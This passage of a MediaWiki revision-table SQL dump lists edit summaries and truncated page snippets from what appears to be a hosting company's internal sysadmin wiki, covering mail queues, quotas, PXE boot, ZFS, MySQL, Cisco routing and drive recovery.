#!/bin/sh # # Copyright (C) 2005 Richard Gannon. All rights reserved. # # Author: Richard Gannon # # This script wil...',1,'WikiAdmin','20080327164942',0,0,2089,0),(165,76,165,'3000 stations TV online',0,'202.28.27.4','20080330115525',0,0,161,0),(168,77,168,'New page: == Creating Backup User Accounts == There is a script (go Felipe!) on each storage server located in /home/sagotech called addbackupuser which will create the user account, create the .fo...',1,'WikiAdmin','20080403154219',0,0,2470,0),(170,77,170,'',1,'WikiAdmin','20080403154335',0,0,2443,168),(171,77,171,'',1,'WikiAdmin','20080403154350',0,0,2443,170),(172,77,172,'',1,'WikiAdmin','20080403154442',0,0,2443,171),(169,78,169,'New page: *To check quotas of a user type: repquota -a *This will show a list of all users and the quotas assigned to them *To change the quota for a user type: edquota username *This command will b...',1,'WikiAdmin','20080403154257',0,0,472,0),(247,78,247,'',1,'WikiAdmin','20080527124733',0,0,530,169),(176,79,176,'New page: === Queue information === To print a count of the messages in the queue root@localhost# exim -bpc Print a listing of the messages in the queue (time queued, size, message-id, sender...',1,'WikiAdmin','20080407221642',0,0,1868,0),(177,80,177,'New page: Steps for setting up cacti From Sago Networks Cacti KB 1. Login to both the server and cacti. 2. Install snmpd on the server. * Centos: yum -y install net-snmp-utils * Debian / Ubuntu:...',1,'WikiAdmin','20080407221925',0,0,2611,0),(181,81,181,'New page: Project home page: http://lubi.sourceforge.net/lvpm.html Sourceforge download page: http://sourceforge.net/project/showfiles.php?group_id=198821 \"Ah\", you may say to yourself, \"Tha...',1,'WikiAdmin','20080416220120',0,0,2760,0),(183,81,183,'',0,'66.118.128.10','20080421144449',0,0,2914,181),(186,82,186,'New page: Some good references on managing accounts and permissions: http://www.redhat.com/docs/manuals/linux/RHL-8.0-Manual/admin-primer/s1-acctsgrps-files.html',1,'WikiAdmin','20080422182710',0,0,154,0),(187,82,187,'',1,'WikiAdmin','20080422182746',0,0,231,186),(189,83,189,'New page: A pdf presentation of Managing on IP Networks with Free Software http://www.nanog.org/mtg-0210/abley.html The pdf contains numerous references to various tools including one which makes...',1,'WikiAdmin','20080424000418',0,0,318,0),(190,83,190,'',1,'WikiAdmin','20080424001533',1,0,374,189),(191,83,191,'',1,'WikiAdmin','20080424001602',1,0,397,190),(194,84,194,'New page: System Integrity Monitor is installed as part of the Sago Server Hardening script. This tool is distributed by the same guys that make APF http://rfxnetworks.com/sim.php If you install ...',1,'WikiAdmin','20080503203408',0,0,2019,0),(198,85,198,'New page: == Open Suse 10.3 == Instructions for setting up dhcpd, tftp, etc. and a general guide are at: http://en.opensuse.org/SuSE_install_with_PXE_boot Callandor:/tftpboot # cat default defa...',1,'WikiAdmin','20080508035708',0,0,751,0),(199,85,199,'/* Open Suse 10.3 */',1,'WikiAdmin','20080508035733',1,0,761,198),(200,85,200,'/* Open Suse 10.3 */',1,'WikiAdmin','20080508041305',0,0,1146,199),(206,85,206,'/* Open Suse 10.3 */',1,'WikiAdmin','20080509030242',0,0,2156,200),(280,85,279,'/* Graphical PXE Menus */',1,'WikiAdmin','20080617182331',0,0,2995,206),(281,85,280,'/* Graphical PXE Menus */',1,'WikiAdmin','20080617182354',0,0,2997,280),(283,85,282,'/* Graphical PXE Menus */',1,'WikiAdmin','20080617184043',0,0,3270,281),(586,85,585,'/* Configure dhcpd server: */',1,'WikiAdmin','20090111013947',0,0,3979,283),(608,85,607,'/* Starting & Verifying Services */',1,'WikiAdmin','20090221154636',0,0,5339,586),(816,85,814,'',1,'WikiAdmin','20100129152708',0,0,5437,608),(1038,85,1036,'/* Open Suse 10.3 */',1,'WikiAdmin','20100707193407',0,0,5575,816),(204,86,204,'New page: mytop is a process monitor for MySQL, similar to TOP. It is very useful, but is rather a pain in the ass to install as it has a lot of perl module dependancies and of course they may in f...',1,'WikiAdmin','20080508170405',0,0,598,0),(205,86,205,'',1,'WikiAdmin','20080508173613',0,0,2194,204),(212,86,212,'',0,'66.118.128.10','20080512214534',0,0,2761,205),(237,86,237,'',0,'72.184.142.174','20080516055255',0,0,3248,212),(207,87,207,'New page: == Speed Test Tools == There are a number of tools for testing network speeds. The simplest is to just grab a file using wget, the output of which will display the transfer speed. You can...',1,'WikiAdmin','20080509144427',0,0,9234,0),(217,87,217,'/* Speed Test Tools */',1,'WikiAdmin','20080514190950',0,0,9454,207),(218,87,218,'/* Speed Test Tools */',1,'WikiAdmin','20080514191032',0,0,9473,217),(219,87,219,'/* Extended Speed Testing */',0,'66.118.128.10','20080515142640',0,0,11221,218),(208,88,208,'New page: == Video Demos == http://opensolaris.org/os/community/zfs/demos/ == ZFS Tools == ZRM to backup MySQL databases using ZFS snapshots http://www.oreillynet.com/databases/blog/2008/04/...',1,'WikiAdmin','20080512003859',0,0,225,0),(209,88,209,'',1,'WikiAdmin','20080512004049',0,0,288,208),(210,88,210,'',1,'WikiAdmin','20080512010425',0,0,344,209),(211,88,211,'',1,'WikiAdmin','20080512054929',0,0,3908,210),(220,88,220,'/* Super Fast CentOS 4.6 install */',0,'66.118.128.10','20080515153131',0,0,4452,211),(221,88,221,'/* Super Fast CentOS 4.6/5.0 install */',0,'66.118.128.10','20080515153221',0,0,4453,220),(222,88,222,'/* Super Fast CentOS 4.6/5.0 install */',0,'66.118.128.10','20080515153342',0,0,4541,221),(223,88,223,'/* Related Topics */',0,'66.118.128.10','20080515154003',0,0,4625,222),(224,88,224,'/* Super Fast CentOS 4.6/5.0 install */',0,'66.118.128.10','20080515154525',0,0,4836,223),(225,88,225,'/* Super Fast CentOS 4.6/5.0 install */',0,'66.118.128.10','20080515155727',0,0,5114,224),(226,88,226,'/* Intro */',0,'66.118.128.10','20080515161503',0,0,6499,225),(227,88,227,'/* Intro */',0,'66.118.128.10','20080515162015',0,0,6937,226),(228,88,228,'/* ZFS Tutorial */',0,'66.118.128.10','20080515162228',0,0,6951,227),(229,88,229,'/* ZFS Tutorial */',0,'66.118.128.10','20080515162524',0,0,6990,228),(230,88,230,'',0,'66.118.128.10','20080515162857',0,0,6873,229),(231,88,231,'/* Installing ZFS */',0,'66.118.128.10','20080515163035',0,0,6885,230),(232,88,232,'/* Intro */',0,'66.118.128.10','20080515184418',0,0,6892,231),(479,88,478,'',1,'WikiAdmin','20081022191856',0,0,7177,232),(484,88,483,'/* Using ZFS */',1,'WikiAdmin','20081027150748',0,0,7763,479),(215,89,215,'New page: \'\'\'Dis-allow ssh, but allow ftp user connections\'\'\' Set the shell in /etc/passed to /sbin/nologin cisco:x:500:500::/home/cisco:/sbin/nologin Edit vsftp.conf to include # cat /etc/vsft...',1,'WikiAdmin','20080513224806',0,0,1295,0),(216,90,216,'New page: \'\'\'Fundamentals of Network Security\'\'\' http://cisco.com/en/US/solutions/ns170/sml_index.html Hacking democracy video on HBO about hacking in to change a democratic vote. Signal Magaz...',1,'WikiAdmin','20080514021248',0,0,294,0),(234,90,234,'',0,'66.194.104.5','20080516003658',0,0,452,216),(235,90,235,'',1,'WikiAdmin','20080516015713',0,0,795,234),(266,90,265,'',1,'WikiAdmin','20080606003726',0,0,1277,235),(267,90,266,'',1,'WikiAdmin','20080606005905',0,0,1922,266),(276,90,275,'',1,'WikiAdmin','20080609223430',0,0,2161,267),(233,91,233,'New page: \'\'sshfs is a filesystem client based on the SSH File Transfer Protocol. Since most SSH servers already support this protocol it is very easy to set up: i.e. on the...',1,'WikiAdmin','20080515210704',0,0,1437,0),(238,92,238,'New page: You can get Cygwin from here: http://www.cygwin.com/ \'\'\'SSh\'\'\' Starting ssh server: net start sshd or cygrunsrv --start sshd Click here on how to stop the sshd service. If the ser...',1,'WikiAdmin','20080520194619',0,0,572,0),(239,92,239,'',1,'WikiAdmin','20080520194630',0,0,571,238),(240,92,240,'',1,'WikiAdmin','20080521144545',0,0,678,239),(241,93,241,'New page: Ever have this happen when trying to install .rpms on customers boxes: [root@ns downloads]# rpm -Uvh some_silly_package.rpm error: cannot open Packages index using db3 - Permission deni...',1,'WikiAdmin','20080521163722',0,0,1690,0),(242,94,242,'New page: \'\'\'General text effects:\'\'\' http://meta.wikimedia.org/wiki/MediaWiki_User\'s_Guide:_Editing_overview http://en.wikipedia.org/wiki/Wikipedia:Manual_of_Style sda.part.table And restore it with: #sfdisk /dev/sda < s...',1,'WikiAdmin','20080803153009',0,0,1324,0),(365,130,364,'New page: Infiscale offers both Caos Linux and Perceus. Caos is a community operating system, which is RPM based and binary compatible with RHEL. Perceus is a cluster management system that is ...',1,'WikiAdmin','20080804234205',0,0,639,0),(366,131,365,'New page: FluidVM is a web based GUI for managing KVM and Open VZ based virtual machines. Trial download and full documentation can be found at: http://binarykarma.com/download.php Download the g...',1,'WikiAdmin','20080806195124',0,0,719,0),(758,131,756,'',1,'WikiAdmin','20091009132449',0,0,3715,366),(370,132,369,'New page: == Solaris Dtrace == Observable Architecture is one description. Dtrace is a very large improvement on system profiling tools, vastly more usable than the numerous discrete tools common...',1,'WikiAdmin','20080811004203',0,0,1812,0),(775,132,773,'/* Solaris Dtrace */',1,'WikiAdmin','20091110180216',0,0,2304,370),(372,133,371,'New page: \'\'\'Container Root File Systems\'\'\' Virtuozzo uses a root.efd file which contains the customers root file system. If the VPS is not running, won\'t start, etc. then how do you access their s...',1,'WikiAdmin','20080814125454',0,0,2645,0),(373,134,372,'New page: http://kb.parallels.com/en/1008 Summary: vzctl stop 115 vzcfgt get 115 GUID vzdskctl mount c:\\vz\\private\\115\\root.efd {799251BE-720C-468E-B877-913F49476001 } chkdsk /f \\\\?\\Volume{7...',1,'WikiAdmin','20080814125537',0,0,304,0),(374,135,373,'New page: == Intro == Dell\'s OpenManage IT Assistant (ITA) is a central management console which allows the monitoring and management of a wide variety for Dell devices on your network. ITA runs on...',1,'WikiAdmin','20080814125646',0,0,2353,0),(379,136,378,'New page: == Sun History == OpenSolaris is the open source distribution of Sun Microsystem\'s Solaris operating system. The OpenSolaris project was started by Sun in June of 2005. Solaris has a l...',1,'WikiAdmin','20080821010931',0,0,4762,0),(380,136,379,'/* Other Cool Sun Stuff */',1,'WikiAdmin','20080821012556',0,0,5039,379),(381,136,380,'/* Merging the Minds */',1,'WikiAdmin','20080821014346',0,0,6637,380),(382,136,381,'/* Merging of the Minds */',1,'WikiAdmin','20080821020028',0,0,6990,381),(383,136,382,'',1,'WikiAdmin','20080821021756',0,0,7278,382),(384,136,383,'/* Project Indiana */',1,'WikiAdmin','20080821022130',0,0,7329,383),(385,136,384,'/* Project Indiana */',1,'WikiAdmin','20080821022519',0,0,7420,384),(386,136,385,'/* Ian Murdock & Indiana */',1,'WikiAdmin','20080821022734',0,0,7464,385),(387,136,386,'/* Sun History */',1,'WikiAdmin','20080821023111',0,0,7447,386),(388,136,387,'/* Ian Murdock & Indiana */',1,'WikiAdmin','20080821023352',0,0,7459,387),(389,136,388,'/* Merging of the Minds */',1,'WikiAdmin','20080821023858',0,0,7456,388),(390,137,389,'New page: == Networking Config == ifconfig -a Make sure your /etc/resolv.conf is configured Still won\'t work? Check that /etc/nsswitch.conf - \"hosts\" and \"ipnodes\" parameters need to be set to...',1,'WikiAdmin','20080822011352',0,0,1980,0),(391,137,390,'/* Installing MySQL */',1,'WikiAdmin','20080822011527',0,0,2070,390),(392,137,391,'/* Installing VMWare tools */',1,'WikiAdmin','20080822011710',0,0,2496,391),(393,137,392,'/* Slow Boot Speed */',1,'WikiAdmin','20080822012930',0,0,2835,392),(394,137,393,'/* Installing VMWare tools */',1,'WikiAdmin','20080822013716',0,0,2508,393),(395,137,394,'',1,'WikiAdmin','20080822123242',0,0,2639,394),(396,137,395,'/* FluidVM Boot */',1,'WikiAdmin','20080822123658',0,0,2757,395),(397,137,396,'',1,'WikiAdmin','20080822123842',0,0,2867,396),(399,137,398,'/* Installing In Xen */',1,'WikiAdmin','20080823153703',0,0,3969,397),(400,137,399,'/* Installing VMWare tools */',1,'WikiAdmin','20080823153807',0,0,3803,399),(401,137,400,'/* Installing VMWare Tools */',1,'WikiAdmin','20080823153830',0,0,3940,400),(402,138,401,'New page: If you want to chroot ssh users there are a few things to consider, and and ssh patch you can use. OpenSSH does not really support this in the default binary See: http://undeadly.org/c...',1,'WikiAdmin','20080825140711',0,0,259,0),(404,139,403,'New page: \'\'\'EIGRP\'\'\' Variance allows load balancing over unequal cost paths. OSPF does not allow this. To include higher cost routes that the successor, use the variance command. \'\'\'NOTE:\'\'\' Thi...',1,'WikiAdmin','20080829012203',0,0,377,0),(405,139,404,'',1,'WikiAdmin','20080902224328',0,0,745,404),(406,139,405,'',1,'WikiAdmin','20080902224959',0,0,753,405),(407,139,406,'',1,'WikiAdmin','20080903000341',0,0,931,406),(408,139,407,'',1,'WikiAdmin','20080903003221',0,0,976,407),(409,139,408,'',1,'WikiAdmin','20080904225105',0,0,1911,408),(410,139,409,'/* Route Summarization */',1,'WikiAdmin','20080905003215',0,0,2197,409),(411,139,410,'/* Route Summarization */',1,'WikiAdmin','20080909223322',1,0,2261,410),(412,139,411,'/* IS-IS */',1,'WikiAdmin','20080910011315',0,0,3156,411),(417,139,416,'/* IS-IS */',1,'WikiAdmin','20080916224915',0,0,3257,412),(418,139,417,'/* Route Redistribution */',1,'WikiAdmin','20080917012718',0,0,4966,417),(419,139,418,'/* Route Redistribution */',1,'WikiAdmin','20080919001530',0,0,4981,418),(420,139,419,'/* BGP Fun */',1,'WikiAdmin','20080919004214',0,0,6325,419),(429,139,428,'/* BGP Fun */',1,'WikiAdmin','20080923221908',0,0,6344,420),(430,139,429,'/* More on BGP */',1,'WikiAdmin','20080923224433',0,0,6786,429),(431,139,430,'/* More on BGP */',1,'WikiAdmin','20080925224623',0,0,7168,430),(432,139,431,'/* More on BGP */',1,'WikiAdmin','20080925234739',0,0,7863,431),(433,139,432,'/* IP Multicasting */',1,'WikiAdmin','20080926010728',0,0,8009,432),(439,139,438,'/* IP Multicasting */',1,'WikiAdmin','20081002220608',0,0,8586,433),(440,139,439,'/* IPV6 */',1,'WikiAdmin','20081004202527',0,0,8964,439),(413,140,412,'New page: == Economics == Thomas Malthus: Wrote famous essay on population http://en.wikipedia.org/wiki/An_Essay_on_the_Principle_of_Population presenting the ideas of overpopulation and limited ...',1,'WikiAdmin','20080910150548',0,0,507,0),(414,140,413,'/* Economics */',1,'WikiAdmin','20080910150705',0,0,519,413),(421,141,420,'New page: == Email Address Verification == How to tell if an email address exists at a remote mail server . . . The blow is from a email verification test using http://vancouver-webpages.com/net...',1,'WikiAdmin','20080919132113',0,0,591,0),(422,141,421,'/* Email Address Verification */',1,'WikiAdmin','20080919132333',0,0,579,421),(423,141,422,'/* Email Address Verification */',1,'WikiAdmin','20080919132509',0,0,580,422),(575,141,574,'/* Email Address Verification */',1,'WikiAdmin','20081228201905',0,0,1407,423),(424,142,423,'New page: == Show Variables == #mysqladmin variables Or from the MySQL Client: mysql> SHOW VARIABLES LIKE \'%dir%\'; == Query Logging == [mysqld] set-variable=long_query_time=2 log-slow-que...',1,'WikiAdmin','20080923130942',0,0,828,0),(435,142,434,'',1,'WikiAdmin','20080926175528',0,0,842,424),(436,142,435,'/* Query Logging */',1,'WikiAdmin','20080926175722',0,0,839,435),(589,142,588,'/* Query Logging */',1,'WikiAdmin','20090121192422',0,0,964,436),(649,142,647,'',1,'WikiAdmin','20090507135912',0,0,1632,589),(650,142,648,'/* User Priviledges */',1,'WikiAdmin','20090507143604',0,0,1712,649),(651,142,649,'/* User Priviledges */',1,'WikiAdmin','20090507144610',0,0,2098,650),(702,142,700,'/* User Priviledges */',1,'WikiAdmin','20090805224952',0,0,2775,651),(703,142,701,'/* Importing Databases */',1,'WikiAdmin','20090806022942',0,0,3365,702),(916,142,914,'/* Show Variables */',1,'WikiAdmin','20100325161943',0,0,4476,703),(1035,142,1033,'/* Importing Databases */',1,'WikiAdmin','20100706143133',0,0,5321,916),(1036,142,1034,'/* Show Variables */',1,'WikiAdmin','20100706144202',0,0,5958,1035),(1037,142,1035,'/* Table Engines */',1,'WikiAdmin','20100706144451',0,0,6049,1036),(1121,142,1119,'/* Unathenticated users */',1,'WikiAdmin','20100824192310',0,0,6254,1037),(1132,142,1130,'/* User Priviledges */',1,'WikiAdmin','20100923195528',0,0,6248,1121),(1133,142,1131,'/* User Priviledges */',1,'WikiAdmin','20100923200813',0,0,7622,1132),(1134,142,1132,'/* Interfaces */',1,'WikiAdmin','20100923200853',0,0,7726,1133),(1135,142,1133,'/* Running out of /tmp */',1,'WikiAdmin','20100923202728',0,0,8040,1134),(1196,142,1194,'/* Resources */',1,'WikiAdmin','20101029211434',0,0,8098,1135),(425,143,424,'New page: == A740G BIOS Updating == The AMD Biostar A740G +M2 boards do not have a built in Alt-F2 BIOS update utility and Biostar does not supply a DOS based flash utility - they expect you to i...',1,'WikiAdmin','20080923172456',0,0,1106,0),(426,143,425,'',1,'WikiAdmin','20080923172857',0,0,1205,425),(427,143,426,'/* A740G BIOS Updating */',1,'WikiAdmin','20080923182923',0,0,1925,426),(428,143,427,'',1,'WikiAdmin','20080923183331',0,0,1941,427),(434,144,433,'New page: Need to open Microsoft .docx files in Open Office? The newest version Of OOO supports .docx, but if you are using an older version you can use the following steps to install a command li...',1,'WikiAdmin','20080926131740',0,0,905,0),(437,145,436,'New page: == General Description == Tracking Code 2008140 Job Description What We\'re Looking For: -- Technicians should be familiar with common network attack methods used against systems connec...',1,'WikiAdmin','20080929161136',0,0,4496,0),(438,146,437,'New page: In my work in a data center the subject of drive failure, predicting such and the trends in RAID levels and the real world protection offered by RAID 5 is a frequent topic. RAID 5, once a...',1,'WikiAdmin','20081002172929',0,0,1466,0),(441,147,440,'New page: == Browser Plugins == Firefox plugins are installed in /usr/lib/browser-plugins/ No mplayer or xine mozilla extensions are installed by default, to enable browser multimedia support...',1,'WikiAdmin','20081007002452',0,0,328,0),(443,147,442,'/* Browser Plugins */',1,'WikiAdmin','20081007003849',0,0,491,441),(444,148,443,'New page: http://www.sun.com/training/catalog/courses/WS-245.xml A free class showing some highlights of Solaris 10 including DTrace, ZFS, containers and Solaris Security features. http://docs....',1,'WikiAdmin','20081007122859',0,0,260,0),(445,149,444,'New page: TTL values vary wildly depending on different operating systems. Thus when you ping an address, your TTL on replies may not be waht you expected. Here is an example, with a traceroute fr...',1,'WikiAdmin','20081007180507',0,0,3969,0),(446,149,445,'',1,'WikiAdmin','20081007180652',0,0,4068,445),(447,149,446,'',1,'WikiAdmin','20081007181317',0,0,4211,446),(450,149,449,'',1,'WikiAdmin','20081008140358',0,0,4211,447),(448,150,447,'New page: Sometime you see kernel message such as: Oct 8 00:49:24 server kernel: hdc: drive_cmd: status=0x51 { DriveReady SeekComplete Error } Oct 8 00:49:24 server kernel: hdc: drive_cmd: err...',1,'WikiAdmin','20081008131855',0,0,1120,0),(449,151,448,'New page: == Summary == Sometimes the journal on an ext3 file system gets corrupted. This can cause problems when an fsck is run, etc. It may be necessary to remove the ext3 journal, which converts...',1,'WikiAdmin','20081008135407',0,0,2118,0),(452,152,451,'New page: == Kernel Drive Caching == Clearing inode and page caches on disk. You can fill the cache byt doing a simply dd, or running ls -lR and reading in a big stream of data of overwrite the k...',1,'WikiAdmin','20081009122642',0,0,876,0),(626,152,624,'/* Kernel Drive Caching */',1,'WikiAdmin','20090406131852',0,0,1190,452),(453,153,452,'New page: == Intro == After discovering this interesting [http://macles.blogspot.com/2008/09/intel-cc-compiler-gcc-and-intel-atom.html Macles*] blog article discussing using the Intel C compiler fo...',1,'WikiAdmin','20081012161318',0,0,4832,0),(454,153,453,'/* Benchmarking */',1,'WikiAdmin','20081012163101',0,0,5638,453),(456,153,455,'/* Intro */',1,'WikiAdmin','20081012170544',0,0,5855,454),(540,153,539,'',1,'WikiAdmin','20081118193957',0,0,5868,456),(717,153,715,'/* Compiling Crafty and CFLAGS */',1,'WikiAdmin','20090816161112',0,0,6122,540),(455,154,454,'New page: == ICC vs GCC == The gcc compiler on Linux is practically ubiquitous. Is is available in every distro\'s repository and most people use it compiling software when binaries are not availabl...',1,'WikiAdmin','20081012170320',0,0,2985,0),(474,154,473,'',1,'WikiAdmin','20081022152720',0,0,3047,455),(458,155,457,'New page: (From the Sago Networks KB article here: http://kb.sagonet.com/MySQL_Table_Recovery_to_the_Extreme) First log into phpMyAdmin and click on the database. Then click the checkbox next to t...',1,'WikiAdmin','20081013141304',0,0,1559,0),(459,156,458,'New page: == Dell Blinking Lights == How do you find out what those blinking orange lights on the Dells mean? How do you turn those alert lights off? This is actually extremely simple and \'\'any\'\'...',1,'WikiAdmin','20081013142003',0,0,4433,0),(672,156,670,'/* IPMI Commands */',1,'WikiAdmin','20090618142620',0,0,5110,459),(460,157,459,'New page: Here are some notes and sites on installing and configuring a Samba server for Linux. http://www.centos.org/docs/5/html/Deployment_Guide-en-US/ch-samba.html And here is a complete O\'Reil...',1,'WikiAdmin','20081015143008',0,0,291,0),(461,157,460,'',1,'WikiAdmin','20081015143114',0,0,372,460),(462,158,461,'New page: \'\'\'Linplus Kernel Source:\'\'\' The kernel source from Acer is available at: ftp://guest@csdftp.acer.com.tw/Aspire_One_Linpus_Linux/Aspire_One_Source/linux-2.6.23.9lw.zip http://docs.fedo...',1,'WikiAdmin','20081016002325',0,0,781,0),(465,158,464,'',1,'WikiAdmin','20081019013726',0,0,1017,462),(481,158,480,'',1,'WikiAdmin','20081023214014',0,0,1851,465),(482,158,481,'/* Kernel Compiling */',1,'WikiAdmin','20081023214229',0,0,1971,481),(483,158,482,'/* Kernel Compiling */',1,'WikiAdmin','20081023214301',0,0,2075,482),(505,158,504,'/* Kernel Compiling */',1,'WikiAdmin','20081113211456',0,0,2165,483),(506,158,505,'/* Kernel Compiling */',1,'WikiAdmin','20081113212514',0,0,2644,505),(507,158,506,'/* Kernel Compiling */',1,'WikiAdmin','20081113220301',0,0,3437,506),(547,158,546,'',1,'WikiAdmin','20081119220451',0,0,3522,507),(548,158,547,'/* Kernel Compiling */',1,'WikiAdmin','20081120023738',0,0,3702,547),(549,158,548,'',1,'WikiAdmin','20081120215252',0,0,6412,548),(550,158,549,'/* Kernel Compiling */',1,'WikiAdmin','20081120220115',0,0,6503,549),(554,158,553,'',1,'WikiAdmin','20081130200619',0,0,8028,550),(556,158,555,'/* Package & Update Dependencies */',1,'WikiAdmin','20081130204232',0,0,8844,554),(578,158,577,'/* Good Stuff to Know */',1,'WikiAdmin','20090101185954',0,0,8925,556),(580,158,579,'/* Kernel Compiling */',1,'WikiAdmin','20090104155522',0,0,9647,578),(463,159,462,'New page: == Acer Aspire One == Acer Aspire One (Crappy Intel SSD - SSDPAMM0008G1) dmesg: scsi 1:0:0:0: Direct-Access ATA SSDPAMM0008G1 Ver2 PQ: 0 ANSI: 5 sd 1:0:0:0: [sda] 15761088 51...',1,'WikiAdmin','20081017231935',0,0,1332,0),(493,159,492,'',1,'WikiAdmin','20081105223426',0,0,2138,463),(494,159,493,'/* SSD and SDHC Benchmarks */',1,'WikiAdmin','20081105224027',0,0,2296,493),(495,159,494,'/* SSD and SDHC Benchmarks */',1,'WikiAdmin','20081105230922',0,0,3353,494),(496,159,495,'/* SSD and SDHC Benchmarks */',1,'WikiAdmin','20081105232101',0,0,4719,495),(497,159,496,'/* SSD and SDHC Benchmarks */',1,'WikiAdmin','20081105232736',0,0,5543,496),(498,159,497,'/* SSD and SDHC Benchmarks */',1,'WikiAdmin','20081105233451',0,0,6318,497),(499,159,498,'/* SSD and SDHC Benchmarks */',1,'WikiAdmin','20081106040606',0,0,7063,498),(555,159,554,'/* SSD and SDHC Benchmarks */',1,'WikiAdmin','20081130200956',0,0,7165,499),(1142,159,1140,'Replacing page with \'\n\n\n== IoZone ==\n\n\n\n== Bonnie++ ==\n\n\nhttp://www.googlux.com/bonnie.html\n\n\n== hdparm ==\n\nhttp://www.linuxinsight.com/how_fast_is_your_disk.html\n\n\n== dd ==\n\nhttp://it.toolbox.com/...\'',1,'WikiAdmin','20101001202622',0,0,232,555),(1220,159,1218,'/* Bonnie++ */',1,'WikiAdmin','20101103201721',0,0,465,1142),(464,160,463,'Linux Driver for Realtek 810x Wifi cards (e.g. 8101E) and I believe the 8169 also.',1,'WikiAdmin','20081019012916',0,0,82,0),(466,161,465,'New page: Data recovery and file carving tools and general information. Here is an interesting paper on file carving methods and their effectiveness: Eindhoven University of Technology ...',1,'WikiAdmin','20081021170037',0,0,402,0),(468,161,467,'',1,'WikiAdmin','20081021170428',0,0,430,466),(469,161,468,'',1,'WikiAdmin','20081021170611',0,0,603,468),(467,162,466,'',1,'WikiAdmin','20081021170336',0,0,0,0),(472,165,471,'',1,'WikiAdmin','20081022151852',0,0,0,0),(473,166,472,'',1,'WikiAdmin','20081022152107',0,0,0,0),(475,167,474,'New page: \'\'\'MIME Type Upload Identification\'\'\' Issue with uploaded .png files being incorrectly identified as text/plain mime type: http://www.mediawiki.org/wiki/Manual:Mime_type_detection I ad...',1,'WikiAdmin','20081022153213',0,0,497,0),(477,167,476,'',1,'WikiAdmin','20081022184906',0,0,586,475),(541,167,540,'',1,'WikiAdmin','20081118201436',0,0,911,477),(476,168,475,'New page: Whitelisting IPs in wp-admin Create an .htaccess in wp-admin with: AuthUserFile /dev/null AuthGroupFile /dev/null AuthName “Access Control” AuthType Basic order deny,allow deny...',1,'WikiAdmin','20081022184816',0,0,498,0),(480,168,479,'',1,'WikiAdmin','20081023135307',0,0,733,476),(652,168,650,'',1,'WikiAdmin','20090518001418',0,0,827,480),(799,168,797,'',1,'WikiAdmin','20100114031054',0,0,1018,652),(478,169,477,'ZFS The Last Word In File Systems',1,'WikiAdmin','20081022191432',0,0,33,0),(486,170,485,'New page: == Information == http://www.xvmserver.org/ (Early release information and release schedule.) http://www.sun.com/software/products/xvm/index.jsp (Some good videos and overviews) http://...',1,'WikiAdmin','20081028180558',0,0,1203,0),(757,170,755,'/* Information */',1,'WikiAdmin','20091002014305',0,0,1795,486),(487,171,486,'New page: == Spanning Tree == \'\'\'Set up trunking:\'\'\' interface range fastethernet 0/1 - 4 switchport trunk encap dot1q switchport mode trunk \'\'\'Configure Fast EtherChannel:\'\'\' DLSwitch(confi...',1,'WikiAdmin','20081031012203',0,0,735,0),(508,171,507,'',1,'WikiAdmin','20081114000829',0,0,1151,487),(509,171,508,'/* Wireless, QoS and CoS */',1,'WikiAdmin','20081114002500',0,0,1300,508),(510,171,509,'/* Wireless, QoS and CoS */',1,'WikiAdmin','20081114005618',0,0,1523,509),(511,171,510,'/* Wireless, QoS and CoS */',1,'WikiAdmin','20081114005745',0,0,1932,510),(512,171,511,'/* Wireless, QoS and CoS */',1,'WikiAdmin','20081114010132',0,0,2209,511),(546,171,545,'/* Wireless, QoS and CoS */',1,'WikiAdmin','20081119014848',0,0,2999,512),(551,171,550,'/* VoiP */',1,'WikiAdmin','20081120235705',0,0,3065,546),(562,171,561,'',1,'WikiAdmin','20081209202000',0,0,8457,551),(489,172,488,'New page: == CSS Decedent Classes == You can create a CSS rule to apply to a specific selector only in specific instances. For example, using the selector: tr.altRow td creates a rule where any ...',1,'WikiAdmin','20081102191636',0,0,260,0),(500,173,499,'New page: /usr/local/apache-tomcat-5.5.27/conf/tomcat-users.xml #edited to add user for Web GUI access on /usr/local/apache-tomcat-5.5.27/conf/web.xml #General Tomcat Config /va...',1,'WikiAdmin','20081106193007',0,0,456,0),(501,173,500,'',1,'WikiAdmin','20081106193340',0,0,610,500),(502,173,501,'',1,'WikiAdmin','20081106193802',0,0,688,501),(503,173,502,'',1,'WikiAdmin','20081106193825',0,0,730,502),(504,173,503,'',1,'WikiAdmin','20081106200516',0,0,884,503),(516,174,515,'New page: == AddThis == But then Pete changed it!
__TOC__ == Saving Drives == It seems like the last few days there have been a lot of customers with failed hard ...',1,'WikiAdmin','20081204183507',0,0,4109,0),(607,179,606,'',1,'WikiAdmin','20090217141135',0,0,6176,558),(756,179,754,'/* All Things dd_rescue and ddrescue */',1,'WikiAdmin','20090925115315',0,0,7431,607),(563,180,562,'New page: == Phoronix == Description from the official web site: \"The Phoronix Test Suite is the most comprehensive testing and benchmarking platform available for the Linux operating system. Th...',1,'WikiAdmin','20081216140732',0,0,1795,0),(564,180,563,'/* Phoronix */',1,'WikiAdmin','20081222183002',0,0,2695,563),(565,180,564,'/* Wed Results */',1,'WikiAdmin','20081222184346',0,0,2786,564),(566,180,565,'/* Phoronix */',1,'WikiAdmin','20081222185122',0,0,3559,565),(567,180,566,'/* Wed Results */',1,'WikiAdmin','20081222185434',0,0,3929,566),(568,180,567,'/* Phoronix */',1,'WikiAdmin','20081222190132',0,0,4986,567),(569,180,568,'/* Wed Results */',1,'WikiAdmin','20081222200022',0,0,4985,568),(570,181,569,'New page: == Sendmail Basics == \'\'\'Documentation\'\'\' http://docs.hp.com/en/B2355-90110/ch05s04.html \'\'\'Queued messages\'\'\' View the queue with: #qmail -bp or #mailq Ask sendmail to redelive...',1,'WikiAdmin','20081225165533',0,0,790,0),(571,181,570,'/* Sendmail Basics */',1,'WikiAdmin','20081225170422',0,0,1255,570),(572,181,571,'/* Sendmail Basics */',1,'WikiAdmin','20081225172031',0,0,1338,571),(573,181,572,'/* Troubleshooting Tips */',1,'WikiAdmin','20081225173516',0,0,2225,572),(574,181,573,'/* Troubleshooting Tips */',1,'WikiAdmin','20081225175920',0,0,2745,573),(576,181,575,'/* Troubleshooting Tips */',1,'WikiAdmin','20081228202107',0,0,2952,574),(577,182,576,'New page: http://www.inquisitor.ru/support.html http://www.linux.com/feature/149774 http://sourceforge.net/mailarchive/forum.php?forum_name=inq-discuss-en http://sourceforge.net/projects/inq/',1,'WikiAdmin','20081231151946',0,0,186,0),(579,183,578,'New page: Append something to the end of an existing line: http://www.unix.com/shell-programming-scripting/70551-append-character-end-each-line-file.html Good general sed examples: http://studen...',1,'WikiAdmin','20090101190550',0,0,296,0),(582,184,581,'New page: Setting 